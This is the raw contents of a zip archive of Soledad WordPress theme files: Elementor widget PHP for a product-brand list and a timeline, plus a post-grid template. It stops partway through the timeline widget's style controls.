			'hide_empty' => $settings['hide_empty'],
			'order'      => $settings['order'],
			'number'     => $settings['number'],
		);

		if ( $settings['orderby'] ) {
			$args['orderby'] = $settings['orderby'];
		}

		if ( 'random' === $settings['orderby'] ) {
			$args['orderby'] = 'id';
			$brand_count     = wp_count_terms( $attribute, array(
				'hide_empty' => $settings['hide_empty'],
			) );

			$offset = rand( 0, $brand_count - (int) $settings['number'] );
			if ( $offset <= 0 ) {
				$offset = '';
			}
			$args['offset'] = $offset;
		}

		if ( $settings['ids'] ) {
			$args['include'] = $settings['ids'];
		}

		$brands   = get_terms( $args );
		$taxonomy = get_taxonomy( $attribute );

		if ( 'random' === $settings['orderby'] ) {
			shuffle( $brands );
		}

		if ( penci_is_shop_on_front() ) {
			$link = home_url();
		} else {
			$link = get_post_type_archive_link( 'product' );
		}

		?>
        <div class="penci-product-brand-wrapper">
			<?php $this->markup_block_title( $this->get_settings(), $this ); ?>

            <div <?php echo $this->get_render_attribute_string( 'wrapper' ); ?>>
                <div <?php echo $this->get_render_attribute_string( 'items_wrapper' ); ?>>
					<?php if ( 'carousel' === $settings['style'] ) {
						echo '<div class="swiper-wrapper">';
					} ?>
					<?php if ( ! is_wp_error( $brands ) && count( $brands ) > 0 ) : ?>
						<?php foreach ( $brands as $key => $brand ) : ?>
							<?php
							$image       = get_term_meta( $brand->term_id, 'image', true );
							$filter_name = 'filter_' . sanitize_title( str_replace( 'pa_', '', $attribute ) );

							if ( is_object( $taxonomy ) && $taxonomy->public ) {
								$attr_link = get_term_link( $brand->term_id, $brand->taxonomy );
							} else {
								$attr_link = add_query_arg( $filter_name, $brand->slug, $link );
							}
							?>

                            <div <?php echo $this->get_render_attribute_string( 'items' ); ?>>
                                <a title="Brand <?php echo esc_html( $brand->name ); ?>"
                                   href="<?php echo esc_url( $attr_link ); ?>">
									<?php if ( 'list' === $settings['style'] || ! $image ) : ?>
                                        <span class="brand-title-wrap">
										<?php echo esc_html( $brand->name ); ?>
									</span>
									<?php else : ?>
										<?php echo '<img src="' . wp_get_attachment_image_url( $image, 'full' ) . '" alt="' . $brand->name . '" title="' . $brand->name . '">'; ?>
									<?php endif; ?>
                                </a>
                            </div>
						<?php endforeach; ?>
					<?php endif; ?>
					<?php if ( 'carousel' === $settings['style'] ) {
						echo '</div>';
					} ?>
                </div>
            </div>
        </div>
		<?php
	}
}
PK     N\DP X  X  /  inc/elementor/modules/penci-timeline/module.phpnu [        <?php
namespace PenciSoledadElementor\Modules\PenciTimeline;

use PenciSoledadElementor\Base\Module_Base;

if ( ! defined( 'ABSPATH' ) ) exit; // Exit if accessed directly

class Module extends Module_Base {

	public function get_name() {
		return 'penci-timeline';
	}

	public function get_widgets() {

		return array( 'PenciTimeline' );
	}
}
PK     N\I|    5  inc/elementor/modules/penci-timeline/widgets/post.phpnu [        <div class="penci-clearfix penci-biggrid-wrapper penci-grid-col-1 penci-grid-mcol-1 penci-bgrid-based-post penci-bgrid-style-1 pcbg-ficonpo-top-right pcbg-reiconpo-top-left penci-bgrid-content-below pencibg-imageh-none pencibg-texth-none pencibg-textani-movetop textop pc-flexmnld">
    <div class="penci-clearfix penci-biggrid penci-bgstyle-1 penci-bgel">
        <div class="penci-biggrid-inner default">
            <div class="penci-clearfix penci-biggrid-data penci-dflex">
                <div class="penci-bgitem">
                    <div class="penci-bgitin">
                        <div class="penci-bgmain">
                            <?php if ( $show_image ) : ?>
                            <div class="pcbg-thumb">
                            <?php
                            do_action( 'penci_bookmark_post', get_the_ID() );
                            ?>
                                <div class="pcbg-thumbin"><a class="pcbg-bgoverlay"
                                                             href="<?php the_permalink(); ?>"
                                                             title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"></a>
                                    <div <?php echo penci_layout_bg(penci_image_srcset( get_the_ID(), $thumbnail, $mthumb_size ),! $disable_lazy);?> class="<?php echo penci_layout_bg_class(! $disable_lazy);?> penci-image-holder">
                                        <?php echo penci_layout_img(penci_image_srcset( get_the_ID(), $thumbnail, $mthumb_size ),get_the_title(),! $disable_lazy);?>
                                    </div>
                                </div>
                            </div>
                            <?php endif; ?>
                            <div class="pcbg-content">
                                <div class="pcbg-content-flex"><a class="pcbg-bgoverlay"
                                                                  href="<?php the_permalink(); ?>"
                                                                  title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"></a>
                                    <div class="pcbg-content-inner bgcontent-block"><a
                                                href="<?php the_permalink(); ?>"
                                                title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"
                                                class="pcbg-bgoverlaytext item-hover"></a>

                                        <?php if ( $showcat ) : ?>
                                            <div class="pcbg-above item-hover">
                                                <span class="cat pcbg-sub-title">
                                                    <?php penci_category( '', $primary_cat ); ?>
                                                </span>
                                            </div>
                                        <?php endif; ?>

                                        <div class="pcbg-heading item-hover">
                                            <?php if ( $show_title ) : ?>
                                            <h3 class="pcbg-title" title="<?php echo wp_strip_all_tags( get_the_title() ); ?>">
                                                <a href="<?php the_permalink(); ?>">
													<?php the_title(); ?>
                                                </a>
                                            </h3>
                                            <?php endif; ?>
                                        </div>
                                        <div class="grid-post-box-meta pcbg-meta item-hover">
                                            <?php if ( $show_meta ) : ?>
                                            <div class="pcbg-meta-desc">
                                                <span class="bg-date-author author-italic author vcard">
                                                    <?php echo penci_get_setting( 'penci_trans_by' ); ?> <?php if ( function_exists( 'coauthors_posts_links' ) ) :
                                                        penci_coauthors_posts_links();
                                                    else: ?>
                                                        <a class="author-url url fn n"
                                                        href="<?php echo get_author_posts_url( get_the_author_meta( 'ID' ) ); ?>"><?php the_author(); ?></a>
                                                    <?php endif; ?>
                                                </span>
                                                <span class="bg-date"><?php penci_soledad_time_link(); ?></span>
                                                <?php do_action( 'penci_extra_meta' ); ?>
                                            </div>
                                            <?php endif; ?>
                                            <?php if ( $excerpt ) : ?>
                                            <div class="pcbg-pexcerpt">
                                                <?php penci_the_excerpt( $excerpt_length ); ?>
                                            </div>
                                        <?php endif; ?>
                                        </div>
                                        <?php if ( $readmore ) : ?>
                                        <div class="pcbg-readmore-sec item-hover">
                                            <a href="<?php the_permalink(); ?>"
                                               class="pcbg-readmorebtn <?php echo 'pcreadmore-icon-' . $readmore_icon_pos; ?>">
                                                <span class="pcrm-text"><?php echo penci_get_setting( 'penci_trans_read_more' ); ?></span>
												<?php if ( $readmore_icon ): ?>
													<?php \Elementor\Icons_Manager::render_icon( $readmore_icon ); ?>
												<?php endif; ?>
                                            </a>
                                        </div>
                                        <?php endif; ?>
                                    </div>
                                </div>
                            </div>
                        </div>
                    </div>
                </div>
            </div>
        </div>
    </div>
</div>PK     N\P%  %  ?  inc/elementor/modules/penci-timeline/widgets/penci-timeline.phpnu [        <?php

namespace PenciSoledadElementor\Modules\PenciTimeline\Widgets;

use Elementor\Repeater;
use PenciSoledadElementor\Base\Base_Widget;
use Elementor\Controls_Manager;
use Elementor\Group_Control_Border;
use Elementor\Group_Control_Box_Shadow;
use Elementor\Group_Control_Typography;
use Elementor\Group_Control_Image_Size;
use Elementor\Group_Control_Background;
use Elementor\Icons_Manager;
use Elementor\Utils;

use PenciSoledadElementor\Modules\QueryControl\Module as Query_Control;

if ( ! defined( 'ABSPATH' ) ) {
	exit;
} // Exit if accessed directly

class PenciTimeline extends Base_Widget {

	public function get_name() {
		return 'penci-timeline';
	}

	public function get_title() {
		return penci_get_theme_name( 'Penci' ) . ' ' . esc_html__( 'Timeline', 'soledad' );
	}

	public function get_icon() {
		return 'eicon-time-line';
	}

	public function get_categories() {
		return [ 'penci-elements' ];
	}

	public function get_keywords() {
		return [ 'timeline', 'history', 'statistics' ];
	}

	public function get_style_depends() {
		return [ 'penci-timeline' ];
	}

	public function get_script_depends() {
		return [ 'penci-timeline' ];
	}

	protected function register_controls() {
		$this->start_controls_section(
			'section_content_layout',
			[
				'label' => esc_html__( 'Layout', 'soledad' ),
			]
		);

		$this->add_control(
			'timeline_source',
			[
				'label'   => esc_html__( 'Source', 'soledad' ),
				'type'    => Controls_Manager::SELECT,
				'default' => 'post',
				'options' => [
					'post'   => __( 'Post', 'soledad' ),
					'custom' => __( 'Custom Content', 'soledad' ),
				],
			]
		);

		$this->add_control(
			'timeline_align',
			[
				'label'   => esc_html__( 'Layout', 'soledad' ),
				'type'    => Controls_Manager::CHOOSE,
				'default' => 'center',
				'toggle'  => false,
				'options' => [
					'left'   => [
						'title' => esc_html__( 'Left', 'soledad' ),
						'icon'  => 'eicon-h-align-left',
					],
					'center' => [
						'title' => esc_html__( 'Center', 'soledad' ),
						'icon'  => 'eicon-h-align-center',
					],
					'right'  => [
						'title' => esc_html__( 'Right', 'soledad' ),
						'icon'  => 'eicon-h-align-right',
					],
				],
			]
		);

		$this->add_control(
			'timeline_center_side',
			[
				'label'     => esc_html__( 'Center Side', 'soledad' ),
				'type'      => Controls_Manager::SELECT,
				'default'   => '',
				'options'   => [
					''      => __( 'Default', 'soledad' ),
					'left'  => __( 'Left', 'soledad' ),
					'right' => __( 'Right', 'soledad' ),
				],
				'condition' => [
					'timeline_align' => 'center',
				],
			]
		);

		$this->add_responsive_control( 'timeline_center_width', array(
			'label'     => __( 'Custom Content Width', 'soledad' ),
			'type'      => Controls_Manager::SLIDER,
			'range'     => array( '%' => array( 'min' => 10, 'max' => 100, ) ),
			'selectors' => array(
				'{{WRAPPER}} .penci-tiline-align-center .penci-tiline-item:nth-child(odd)'  => 'width: {{SIZE}}%',
				'{{WRAPPER}} .penci-tiline-align-center .penci-tiline-item:nth-child(even)' => 'width: calc( 100% - {{SIZE}}% )',
			),
			'condition' => [
				'timeline_align' => 'center',
			],
		) );

		$this->end_controls_section();

		$this->register_query_section_controls( false, [ 'timeline_source' => 'post' ] );

		$this->start_controls_section(
			'section_custom_content',
			[
				'label'     => esc_html__( 'Custom Content', 'soledad' ),
				'condition' => [
					'timeline_source' => 'custom'
				]
			]
		);

		$repeater = new Repeater();

		$repeater->start_controls_tabs( 'tabs_timeline' );

		$repeater->start_controls_tab(
			'timeline_tab_content',
			[
				'label' => esc_html__( 'Content', 'soledad' ),
			]
		);

		$repeater->add_control(
			'timeline_title',
			[
				'label'   => esc_html__( 'Title', 'soledad' ),
				'type'    => Controls_Manager::TEXT,
				'default' => esc_html__( 'This is Timeline Item 1 Title', 'soledad' ),
			]
		);

		$repeater->add_control(
			'timeline_subtitle',
			[
				'label'   => esc_html__( 'Sub-Title', 'soledad' ),
				'type'    => Controls_Manager::TEXT,
				'default' => 'This is Timeline Item Sub-Title',
			]
		);
		
		$repeater->add_control(
			'timeline_date',
			[
				'label'   => esc_html__( 'Date', 'soledad' ),
				'type'    => Controls_Manager::TEXT,
				'default' => '31 December 2018',
			]
		);

		$repeater->add_control(
			'timeline_image',
			[
				'label'   => esc_html__( 'Image', 'soledad' ),
				'type'    => Controls_Manager::MEDIA,
				'default' => [
					'url' => Utils::get_placeholder_image_src(),
				],
			]
		);

		$repeater->add_control(
			'timeline_text',
			[
				'label'   => esc_html__( 'Content', 'soledad' ),
				'type'    => Controls_Manager::WYSIWYG,
				'default' => esc_html__( 'I am timeline item content. Click edit button to change this text. A wonderful serenity has taken possession of my entire soul, like these sweet mornings of spring which I enjoy with my whole heart. I am alone, and feel the charm of existence in this spot, which was created for the bliss of souls like mine.', 'soledad' ),
			]
		);

		$repeater->add_control(
			'timeline_link',
			[
				'label'       => esc_html__( 'Button Link', 'soledad' ),
				'type'        => Controls_Manager::TEXT,
				'placeholder' => 'https://example.com',
				'default'     => 'https://example.com',
			]
		);

		$repeater->add_control(
			'timeline_select_icon',
			[
				'label'            => esc_html__( 'Icon', 'soledad' ),
				'type'             => Controls_Manager::ICONS,
				'fa4compatibility' => 'timeline_icon',
				'default'          => [
					'value'   => 'fas fa-file-alt',
					'library' => 'fa-solid',
				],
			]
		);

		$repeater->end_controls_tab();

		$repeater->start_controls_tab(
			'timeline_tab_style',
			[
				'label' => esc_html__( 'Style', 'soledad' ),
			]
		);

		$repeater->add_group_control(
			Group_Control_Background::get_type(),
			[
				'name'     => 'timeline_item_background',
				'types'    => [ 'classic', 'gradient' ],
				'selector' => '{{WRAPPER}} .penci-tiline .penci-tiline-item-main-container {{CURRENT_ITEM}}, {{WRAPPER}} .penci-tiline .penci-tiline-content {{CURRENT_ITEM}}',
			]
		);

		$repeater->add_control(
			'item_border_color',
			[
				'label'     => esc_html__( 'Border Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'selectors' => [
					'{{WRAPPER}} .penci-tiline .penci-tiline-item-main-container {{CURRENT_ITEM}}, {{WRAPPER}} .penci-tiline .penci-tiline-content {{CURRENT_ITEM}}' => '--pcborder-cl: {{VALUE}};',
				],
			]
		);

		$repeater->end_controls_tab();

		$repeater->end_controls_tabs();

		$this->add_control(
			'timeline_items',
			[
				'label'       => esc_html__( 'Timeline Items', 'soledad' ),
				'type'        => Controls_Manager::REPEATER,
				'fields'      => $repeater->get_controls(),
				'default'     => [
					[
						'timeline_title'       => esc_html__( 'This is Timeline Item 1 Title', 'soledad' ),
						'timeline_text'        => esc_html__( 'I am timeline item content. Click edit button to change this text. A wonderful serenity has taken possession of my entire soul, like these sweet mornings of spring which I enjoy with my whole heart. I am alone, and feel the charm of existence in this spot, which was created for the bliss of souls like mine.', 'soledad' ),
						'timeline_select_icon' => [ 'value' => 'fas fa-file-alt', 'library' => 'fa-solid' ],
					],
					[
						'timeline_title'       => esc_html__( 'This is Timeline Item 2 Title', 'soledad' ),
						'timeline_text'        => esc_html__( 'I am timeline item content. Click edit button to change this text. A wonderful serenity has taken possession of my entire soul, like these sweet mornings of spring which I enjoy with my whole heart. I am alone, and feel the charm of existence in this spot, which was created for the bliss of souls like mine.', 'soledad' ),
						'timeline_select_icon' => [ 'value' => 'fas fa-file-alt', 'library' => 'fa-solid' ],
					],
					[
						'timeline_title'       => esc_html__( 'This is Timeline Item 3 Title', 'soledad' ),
						'timeline_text'        => esc_html__( 'I am timeline item content. Click edit button to change this text. A wonderful serenity has taken possession of my entire soul, like these sweet mornings of spring which I enjoy with my whole heart. I am alone, and feel the charm of existence in this spot, which was created for the bliss of souls like mine.', 'soledad' ),
						'timeline_select_icon' => [ 'value' => 'fas fa-file-alt', 'library' => 'fa-solid' ],
					],
					[
						'timeline_title'       => esc_html__( 'This is Timeline Item 4 Title', 'soledad' ),
						'timeline_text'        => esc_html__( 'I am timeline item content. Click edit button to change this text. A wonderful serenity has taken possession of my entire soul, like these sweet mornings of spring which I enjoy with my whole heart. I am alone, and feel the charm of existence in this spot, which was created for the bliss of souls like mine.', 'soledad' ),
						'timeline_select_icon' => [ 'value' => 'fas fa-file-alt', 'library' => 'fa-solid' ],
					],
				],
				'title_field' => '{{{ timeline_title }}}',
			]
		);

		$this->end_controls_section();

		$this->start_controls_section(
			'section_content_additional',
			[
				'label' => esc_html__( 'General Settings', 'soledad' )
			]
		);

		$this->add_control(
			'show_image',
			[
				'label'   => esc_html__( 'Show Thumbnail Image', 'soledad' ),
				'type'    => Controls_Manager::SWITCHER,
				'default' => 'yes',
			]
		);

		$this->add_group_control(
			Group_Control_Image_Size::get_type(),
			[
				'name'         => 'thumbnail_size',
				'label'        => esc_html__( 'Image Size', 'soledad' ),
				'exclude'      => [ 'custom' ],
				'default'      => 'medium',
				'prefix_class' => 'penci-tiline-thumbnail-size-',
				'condition'    => [
					'show_image' => 'yes',
				],
			]
		);

		$this->add_control(
			'dislazyload',
			[
				'label'     => esc_html__( 'Disable Image Lazyload', 'soledad' ),
				'type'      => Controls_Manager::SWITCHER,
				'condition' => [
					'show_image'      => 'yes',
					'timeline_source' => 'post',
				]
			]
		);

		$this->add_control(
			'show_title',
			[
				'label'   => esc_html__( 'Show Title', 'soledad' ),
				'type'    => Controls_Manager::SWITCHER,
				'default' => 'yes',
			]
		);

		$this->add_control(
			'show_cat',
			[
				'label'   => esc_html__( 'Show Post Categories', 'soledad' ),
				'type'    => Controls_Manager::SWITCHER,
				'default' => 'yes',
			]
		);

		$this->add_control(
			'show_cat_pri',
			[
				'label' => esc_html__( 'Show Primay Category Only', 'soledad' ),
				'type'  => Controls_Manager::SWITCHER,
			]
		);

		$this->add_control(
			'title_tags',
			[
				'label'     => __( 'Title HTML Tag', 'soledad' ),
				'type'      => Controls_Manager::SELECT,
				'default'   => 'h4',
				'options'   => [
					'h1' => 'H1',
					'h2' => 'H2',
					'h3' => 'H3',
					'h4' => 'H4',
					'h5' => 'H5',
					'h6' => 'H6',
				],
				'condition' => [
					'show_title'      => 'yes',
					'timeline_source' => 'custom',
				]
			]
		);

		$this->add_control(
			'title_link',
			[
				'label'     => esc_html__( 'Title Link', 'soledad' ),
				'type'      => Controls_Manager::SWITCHER,
				'default'   => 'yes',
				'condition' => [
					'show_title'      => 'yes',
					'timeline_source' => 'custom',
				],
			]
		);

		$this->add_control(
			'show_meta',
			[
				'label'     => esc_html__( 'Show Post Metas', 'soledad' ),
				'type'      => Controls_Manager::SWITCHER,
				'default'   => 'yes',
				'condition' => [
					'timeline_source' => 'post',
				],
			]
		);

		$this->add_control(
			'show_excerpt',
			[
				'label'   => esc_html__( 'Show Post Excerpt', 'soledad' ),
				'type'    => Controls_Manager::SWITCHER,
				'default' => 'yes',
			]
		);

		$this->add_control(
			'excerpt_length',
			[
				'label'     => esc_html__( 'Excerpt Limit', 'soledad' ),
				'type'      => Controls_Manager::NUMBER,
				'default'   => 15,
				'condition' => [
					'show_excerpt'    => 'yes',
					'timeline_source' => 'post',
				],
			]
		);

		$this->add_control(
			'show_readmore',
			[
				'label'   => esc_html__( 'Read More', 'soledad' ),
				'type'    => Controls_Manager::SWITCHER,
				'default' => 'yes',
			]
		);

		$this->add_control(
			'button_icon',
			[
				'label'            => esc_html__( 'Button Icon', 'soledad' ),
				'type'             => Controls_Manager::ICONS,
				'fa4compatibility' => 'icon',
				'label_block'      => false,
				'skin'             => 'inline'
			]
		);

		$this->add_control(
			'icon_align',
			[
				'label'     => esc_html__( 'Icon Position', 'soledad' ),
				'type'      => Controls_Manager::SELECT,
				'default'   => 'right',
				'options'   => [
					'left'  => esc_html__( 'Left', 'soledad' ),
					'right' => esc_html__( 'Right', 'soledad' ),
				],
				'condition' => [
					'button_icon[value]!' => '',
				],
			]
		);

		$this->add_control(
			'icon_indent',
			[
				'label'     => esc_html__( 'Icon Spacing', 'soledad' ),
				'type'      => Controls_Manager::SLIDER,
				'default'   => [
					'size' => 8,
				],
				'range'     => [
					'px' => [
						'max' => 50,
					],
				],
				'condition' => [
					'button_icon[value]!' => '',
				],
				'selectors' => [
					'{{WRAPPER}} .penci-tiline .penci-button-icon-align-right, {{WRAPPER}} .pcreadmore-icon-right i, {{WRAPPER}} .pcreadmore-icon-right svg' => is_rtl() ? 'margin-right: {{SIZE}}{{UNIT}};' : 'margin-left: {{SIZE}}{{UNIT}};',
					'{{WRAPPER}} .penci-tiline .penci-button-icon-align-left, {{WRAPPER}} .pcreadmore-icon-left i, {{WRAPPER}} .pcreadmore-icon-right svg'  => is_rtl() ? 'margin-left: {{SIZE}}{{UNIT}};' : 'margin-right: {{SIZE}}{{UNIT}};',
				],
			]
		);

		$this->end_controls_section();

		$this->start_controls_section(
			'section_style_item',
			[
				'label' => esc_html__( 'General Items', 'soledad' ),
				'tab'   => Controls_Manager::TAB_STYLE,
			]
		);

		$this->add_control(
			'item_background_color',
			[
				'label'     => esc_html__( 'Background Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'selectors' => [
					'{{WRAPPER}} .penci-tiline:not(.penci-tiline-posts) .penci-tiline-item-main' => 'background-color: {{VALUE}};',
					'{{WRAPPER}} .penci-tiline:not(.penci-tiline-posts) .penci-tiline-item-main' => 'background-color: {{VALUE}};',
					'{{WRAPPER}} .penci-biggrid-wrapper .pcbg-content-inner'     => 'background-color: {{VALUE}};',
				],
			]
		);
		
		$this->add_control(
			'arrow_background_color',
			[
				'label'     => esc_html__( 'Arrow Background Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'selectors' => [
					'{{WRAPPER}} .penci-tiline .penci-tiline-arrow' => 'background-color: {{VALUE}};',
				],
			]
		);

		$this->add_group_control(
			Group_Control_Box_Shadow::get_type(),
			[
				'name'     => 'item_shadow',
				'selector' => '{{WRAPPER}} .penci-tiline:not(.penci-tiline-posts) .penci-tiline-item-main,{{WRAPPER}} .penci-tiline.penci-tiline-posts .penci-biggrid .penci-bgitin',
			]
		);

		$this->add_responsive_control(
			'item_padding',
			[
				'label'      => esc_html__( 'Padding', 'soledad' ),
				'type'       => Controls_Manager::DIMENSIONS,
				'size_units' => [ 'px', 'em', '%' ],
				'selectors'  => [
					'{{WRAPPER}} .penci-tiline:not(.penci-tiline-posts) .penci-tiline-item-main' => 'padding: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};',
					'{{WRAPPER}} .penci-biggrid-wrapper .pcbg-content-inner' => 'padding: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};',
				],
			]
		);

		$this->add_group_control(
			Group_Control_Border::get_type(),
			[
				'name'        => 'item_border',
				'label'       => esc_html__( 'Border', 'soledad' ),
				'placeholder' => '1px',
				'default'     => '1px',
				'selector'    => '{{WRAPPER}} .penci-tiline:not(.penci-tiline-posts) .penci-tiline-item-main, {{WRAPPER}} .penci-tiline.penci-tiline-posts .penci-biggrid .penci-bgitin',
			]
		);

		$this->add_responsive_control(
			'item_border_radius',
			[
				'label'      => esc_html__( 'Border Radius', 'soledad' ),
				'type'       => Controls_Manager::DIMENSIONS,
				'size_units' => [ 'px', '%' ],
				'selectors'  => [
					'{{WRAPPER}} .penci-tiline:not(.penci-tiline-posts) .penci-tiline-item-main' => 'border-radius: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};',
					'{{WRAPPER}} .penci-tiline.penci-tiline-posts .penci-biggrid .penci-bgitin'  => 'border-radius: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};',
				],
			]
		);

		$this->add_responsive_control(
			'item_between_spacing',
			[
				'label'      => esc_html__( 'Spacing Between Items', 'soledad' ),
				'type'       => Controls_Manager::SLIDER,
				'range'     => [
					'px' => [
						'min' => 0,
						'max' => 500,
					],
				],
				'selectors' => [
					'{{WRAPPER}} .penci-tiline .penci-tiline-item-main-wrapper .penci-tiline-item-main-container' => 'padding-bottom: {{SIZE}}{{UNIT}};',
				],
			]
		);

		$this->end_controls_section();

		$this->start_controls_section(
			'section_style_lines',
			[
				'label' => esc_html__( 'Lines', 'soledad' ),
				'tab'   => Controls_Manager::TAB_STYLE,
			]
		);

		$this->add_control(
			'timeline_line_color',
			[
				'label'     => esc_html__( 'Line Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'selectors' => [
					'{{WRAPPER}} .penci-tiline .penci-tiline-item-main-wrapper .penci-tiline-line span' => 'border-color: {{VALUE}};',
					'{{WRAPPER}} .penci-tiline .penci-tiline-item:first-child .penci-tiline-item-main-wrapper .penci-tiline-line:before' => 'background-color: {{VALUE}};',
				],
			]
		);

		$this->add_control(
			'timeline_line_width',
			[
				'label'     => __( 'Line Size', 'soledad' ),
				'type'      => Controls_Manager::SLIDER,
				'range'     => [
					'px' => [
						'min' => 0,
						'max' => 20,
					],
				],
				'selectors' => [
					'{{WRAPPER}} .penci-tiline .penci-tiline-item-main-wrapper .penci-tiline-line span' => 'border-width: {{SIZE}}{{UNIT}};',
				],
			]
		);
		
		$this->add_control(
			'timeline_line_border_type',
			[
				'label'     => __( 'Border Style', 'soledad' ),
				'type'      => Controls_Manager::SELECT,
				'default'   => 'dashed',
				'options'     => [
					'solid'  => esc_html__( 'Solid', 'soledad' ),
					'dashed' => esc_html__( 'Dashed', 'soledad' ),
					'dotted' => esc_html__( 'Dotted', 'soledad' ),
					'double' => esc_html__( 'Double', 'soledad' ),
					'groove' => esc_html__( 'Groove', 'soledad' ),
					'ridge'  => esc_html__( 'Ridge', 'soledad' ),
				],
				'selectors' => [
					'{{WRAPPER}} .penci-tiline .penci-tiline-item-main-wrapper .penci-tiline-line span' => 'border-style: {{VALUE}};',
				],
			]
		);

		$this->end_controls_section();

		$this->start_controls_section(
			'section_style_icon',
			[
				'label' => esc_html__( 'Icon', 'soledad' ),
				'tab'   => Controls_Manager::TAB_STYLE,
			]
		);

		$this->start_controls_tabs( 'tabs_icon_style' );

		$this->start_controls_tab(
			'tab_icon_normal',
			[
				'label' => esc_html__( 'Normal', 'soledad' ),
			]
		);

		$this->add_control(
			'icon_color',
			[
				'label'     => esc_html__( 'Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'selectors' => [
					'{{WRAPPER}} .penci-tiline .penci-tiline-icon' => 'color: {{VALUE}};',
					'{{WRAPPER}} .penci-tiline .penci-tiline-icon i' => 'color: {{VALUE}};',
					'{{WRAPPER}} .penci-tiline .penci-tiline-icon svg' => 'fill: {{VALUE}};',
				],
			]
		);

		$this->add_control(
			'icon_background',
			[
				'label'     => esc_html__( 'Background Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'selectors' => [
					'{{WRAPPER}} .penci-tiline .penci-tiline-icon span' => 'background-color: {{VALUE}};--pcaccent-cl: {{VALUE}};',
				],
			]
		);

		$this->add_group_control(
			Group_Control_Box_Shadow::get_type(),
			[
				'name'     => 'icon_shadow',
				'selector' => '{{WRAPPER}} .penci-tiline .penci-tiline-icon span'
			]
		);

		$this->add_responsive_control(
			'icon_width',
			[
				'label'     => __( 'Width', 'soledad' ),
				'type'      => Controls_Manager::SLIDER,
				'range'     => [
					'px' => [
						'min' => 0,
						'max' => 60,
					],
				],
				'selectors' => [
					'{{WRAPPER}} .penci-tiline .penci-tiline-icon span' => 'height: {{SIZE}}{{UNIT}}; width: {{SIZE}}{{UNIT}};',
				],
			]
		);

		$this->add_responsive_control(
			'icon_size',
			[
				'label'     => __( 'Icon Size', 'soledad' ),
				'type'      => Controls_Manager::SLIDER,
				'range'     => [
					'px' => [
						'min' => 0,
						'max' => 35,
					],
				],
				'selectors' => [
					'{{WRAPPER}} .penci-tiline .penci-tiline-icon span i, {{WRAPPER}} .penci-tiline .penci-tiline-icon span' => 'font-size: {{SIZE}}{{UNIT}};',
				],
			]
		);

		$this->add_group_control(
			Group_Control_Border::get_type(),
			[
				'name'        => 'icon_border',
				'label'       => esc_html__( 'Border', 'soledad' ),
				'placeholder' => '1px',
				'default'     => '1px',
				'selector'    => '{{WRAPPER}} .penci-tiline .penci-tiline-icon span',
			]
		);

		$this->add_responsive_control(
			'icon_border_radius',
			[
				'label'     => __( 'Border Radius', 'soledad' ),
				'type'      => Controls_Manager::SLIDER,
				'range'     => [
					'%' => [
						'min' => 0,
						'max' => 100,
					],
				],
				'default'   => [
					'size' => 50,
					'unit' => '%',
				],
				'selectors' => [
					'{{WRAPPER}} .penci-tiline .penci-tiline-icon span' => 'border-radius: {{SIZE}}{{UNIT}};',
				],
			]
		);

		$this->end_controls_tab();

		$this->start_controls_tab(
			'tab_icon_hover',
			[
				'label' => esc_html__( 'Hover', 'soledad' ),
			]
		);

		$this->add_control(
			'icon_hover_color',
			[
				'label'     => esc_html__( 'Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'selectors' => [
					'{{WRAPPER}} .penci-tiline .penci-tiline-icon:hover, {{WRAPPER}} .penci-tiline .penci-tiline-icon span:hover' => 'color: {{VALUE}} !important;',
				],
			]
		);

		$this->add_control(
			'icon_hover_background_color',
			[
				'label'     => esc_html__( 'Background Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'selectors' => [
					'{{WRAPPER}} .penci-tiline .penci-tiline-icon span:hover' => 'background-color: {{VALUE}};',
				],
			]
		);

		$this->add_control(
			'icon_hover_border_color',
			[
				'label'     => esc_html__( 'Border Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'condition' => [
					'border_border!' => '',
				],
				'selectors' => [
					'{{WRAPPER}} .penci-tiline .penci-tiline-icon span:hover' => 'border-color: {{VALUE}};',
				],
			]
		);

		$this->end_controls_tab();

		$this->end_controls_tabs();

		$this->end_controls_section();

		$this->start_controls_section(
			'section_style_date',
			[
				'label' => esc_html__( 'Date', 'soledad' ),
				'tab'   => Controls_Manager::TAB_STYLE,
			]
		);

		$this->add_control(
			'date_color',
			[
				'label'     => esc_html__( 'Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'selectors' => [
					'{{WRAPPER}} .penci-tiline .penci-tiline-date span' => 'color: {{VALUE}};',
				],
			]
		);

		$this->add_control(
			'date_background_color',
			[
				'label'     => esc_html__( 'Background Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'selectors' => [
					'{{WRAPPER}} .penci-tiline .penci-tiline-date span' => 'background-color: {{VALUE}};',
				],
			]
		);

		$this->add_group_control(
			Group_Control_Border::get_type(),
			[
				'name'      => 'date_border',
				'label'     => esc_html__( 'Border', 'soledad' ),
				'selector'  => '{{WRAPPER}} .penci-tiline .penci-tiline-date span',
				'separator' => 'before',
			]
		);

		$this->add_responsive_control(
			'date_radius',
			[
				'label'      => esc_html__( 'Border Radius', 'soledad' ),
				'type'       => Controls_Manager::DIMENSIONS,
				'size_units' => [ 'px', '%' ],
				'selectors'  => [
					'{{WRAPPER}} .penci-tiline .penci-tiline-date span' => 'border-radius: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}}; overflow: hidden;',
				],
			]
		);

		$this->add_responsive_control(
			'date_padding',
			[
